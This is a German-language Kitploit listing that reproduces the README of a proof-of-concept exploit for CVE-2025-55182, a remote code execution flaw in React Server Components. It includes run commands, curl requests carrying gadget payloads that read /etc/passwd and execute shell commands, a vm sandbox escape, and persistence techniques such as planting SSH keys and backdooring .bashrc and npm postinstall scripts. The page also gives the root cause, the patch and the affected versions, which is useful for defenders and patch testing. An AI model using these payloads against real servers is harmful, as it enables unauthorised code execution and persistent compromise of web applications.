Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-55182-poc — Proof-of-Concept-Exploit für CVE-2025-55182, der Remote Code Execution durch eine Prototype-Chain-Schwachstelle in React Server Components demonstriert. Enthält mehrere RCE-Gadgets und Persistenzangriffe. | Kitploit
Tools/GitHubGitHub/ducducuc111/cve-2025-55182-poc
SchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationCTFPenetrationstestsLernen & BildungPayload-Entwicklung

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
GitHub
ducducuc111/cve-2025-55182-poc

CVE-2025-55182-poc

Proof-of-Concept-Exploit für CVE-2025-55182, der Remote Code Execution durch eine Prototype-Chain-Schwachstelle in React Server Components demonstriert. Enthält mehrere RCE-Gadgets und Persistenzangriffe.

Repository anzeigen
vor 8 MonatenNoch nicht geprüft

CVE-2025-55182 – Schwachstelle in der Prototypkette von React Server Components

Dieser POC demonstriert CVE-2025-55182 unter Verwendung des tatsächlichen anfälligen Codes von [email protected].

Schnellstart

root@kitploit:~
# Abhängigkeiten installieren
npm install

# Anfälligen Server starten (Port 3002)
npm start

# RCE-Exploit ausführen
npm run exploit

Erwartete Ausgabe

root@kitploit:~
=== CVE-2025-55182 - RCE via vm.runInThisContext ===

Test 1: Direkter Aufruf von vm#runInThisContext mit Code
1+1 = {"success":true,"result":"2"}

Test 2: vm.runInThisContext mit require
RCE-Versuch: {"success":true,"result":"uid=501(nick) gid=20(staff)..."}

NPM-Skripte

root@kitploit:~
# Server
npm start              # Hauptserver starten (server-realistic.js, Port 3002)
npm run start:legacy   # Legacy-Server starten (server.js, Port 3002)

# Exploits
npm run exploit            # RCE-Demo (nutzt vm, funktioniert mit allen: vm, child_process, fs)
npm run exploit:all        # Alle Gadgets testen
npm run exploit:persistence # Persistenzangriffe (nur fs)

Einzelne Gadgets testen

root@kitploit:~
# Server zuerst starten
npm start

# fs-Lesen testen
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}'

# Befehlsausführung testen
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}'

# vm-Codeausführung testen
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"vm#runInThisContext","bound":["1+1"]}'

# Prototypkettenzugriff testen
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_ID_abc123def456#constructor='

Wichtige Dateien

Server

DateiPortBeschreibung
src/server-realistic.js3002Hauptserver – simuliert ein Webpack-Bundle mit gängigen Modulen (fs, vm, child_process)
src/server.js3002Legacy-Server (verwendet direkten require)

Exploit-Skripte

DateiBeschreibung
exploit-rce-v4.jsPrimäres RCE via vm#runInThisContext
exploit-all-gadgets.jsTestet alle RCE-Gadgets (vm, child_process, fs)

Funktionsweise von server-realistic.js

Simuliert ein echtes Webpack-Bundle, bei dem Apps gefährliche Module häufig über Abhängigkeiten einbinden:

root@kitploit:~
// Gebündelte Module (was eingebunden wird, wenn gängige Pakete verwendet werden)
const BUNDLED_MODULES = {
  'actions-chunk-123': { /* Benutzer-Server-Aktionen */ },
  'fs': require('fs'),           // via fs-extra, gray-matter, multer
  'child_process': require('child_process'), // via execa, shelljs, puppeteer
  'vm': require('vm'),           // via ejs, pug, handlebars
  'util': require('util'),
};

Die Funktion __webpack_require__ lädt Module nur aus BUNDLED_MODULES und simuliert so das tatsächliche Webpack-Verhalten.

Die Schwachstelle

Ursache

In requireModule() wird auf Exporte per Klammernotation zugegriffen, ohne hasOwnProperty-Prüfung:

root@kitploit:~
// ANFÄLLIG (React 19.0.0)
return moduleExports[metadata[2]];  // Greift auf die Prototypkette zu!

// GEPATCHT (React 19.2.1)
if (hasOwnProperty.call(moduleExports, metadata[2]))
  return moduleExports[metadata[2]];

Angriffsvektor

  1. Sende $ACTION_REF_0 mit gebundenen Aktionsmetadaten
  2. id: 'vm#runInThisContext' lädt das vm-Modul, greift auf den Export runInThisContext zu
  3. Das bound-Array wird zu Argumenten der Funktion
  4. Beim Aufruf der Aktion: runInThisContext(CODE) führt beliebigen Code aus

Alle verifizierten RCE-Gadgets

Beispiele für Gadget-Payloads

Shell-Befehl ausführen (whoami):

root@kitploit:~
{ id: 'child_process#execSync', bound: ['whoami'] }

Sensible Dateien lesen:

root@kitploit:~
{ id: 'fs#readFileSync', bound: ['/etc/passwd'] }
}

**Dateien auf die Festplatte schreiben:**
```javascript
{ id: 'fs#writeFileSync', bound: ['/tmp/pwned.txt', 'CVE-2025-55182'] }

Beliebiges JavaScript ausführen:

root@kitploit:~
{
  id: 'vm#runInThisContext',
  bound: ['process.mainModule.require("child_process").execSync("id").toString()']
}

Sandbox-Escape (vm.runInNewContext):

root@kitploit:~
{
  id: 'vm#runInNewContext',
  bound: ['this.constructor.constructor("return process")().mainModule.require("child_process").execSync("whoami").toString()']
}

Alternative Angriffspfade

Braucht man vm oder child_process?

Für direktes RCE: Ja, man benötigt eines von:

  • vm-Modul (runInThisContext, runInNewContext)
  • child_process-Modul (execSync, execFileSync, spawnSync)

Für indirektes RCE (nur fs): Nein! Mit nur fs kann man:

  • In ~/.ssh/authorized_keys schreiben → SSH-Zugriff
  • An ~/.bashrc anhängen → Codeausführung beim nächsten Login
  • node_modules/* überschreiben → RCE beim nächsten App-Neustart
  • package.json-Postinstall ändern → RCE beim nächsten npm install

Vergleichsergebnisse

VersionAngriffErgebnis
React 19.0.0vm#runInThisContext✓ RCE erreicht
React 19.2.1vm#runInThisContext✗ Blockiert

Patch-Getestete Version

root@kitploit:~
cd /tmp/react-rsc-patched
npm install [email protected]
npm start
# Angriffe werden fehlschlagen

Anfällige npm-Pakete

Siehe VULNERABLE-PACKAGES.md für Recherchen zu beliebten npm-Paketen, die gefährliche Module enthalten:

ModulWöchentliche DownloadsBeliebte Pakete
fs145M+fs-extra, gray-matter, multer, sharp

Betroffene Versionen

  • react-server-dom-webpack: < 19.2.0
  • react-server-dom-turbopack: < 19.2.0

Behobene Versionen

  • react-server-dom-webpack: >= 19.2.0
  • react-server-dom-turbopack: >= 19.2.0
  • Next.js: 15.0.5+
Tool herunterladen
exploit-persistence.js
Persistenzangriffe (SSH-Schlüssel, .bashrc)
GadgetStatusBeschreibung
vm#runInThisContext✓Führt beliebiges JS im aktuellen Kontext aus
vm#runInNewContext✓Führt in „Sandbox“ aus (leicht zu umgehen)
child_process#execSync✓Direkte Shell-Befehlsausführung
child_process#execFileSync✓Führt Binärdateien aus
child_process#spawnSync✓Startet Prozess (gibt Objekt zurück)
fs#readFileSync✓Liest beliebige Dateien
fs#writeFileSync✓Schreibt beliebige Dateien
child_process103M+execa, shelljs, puppeteer, sharp
vm21M+ejs, pug, handlebars, vm2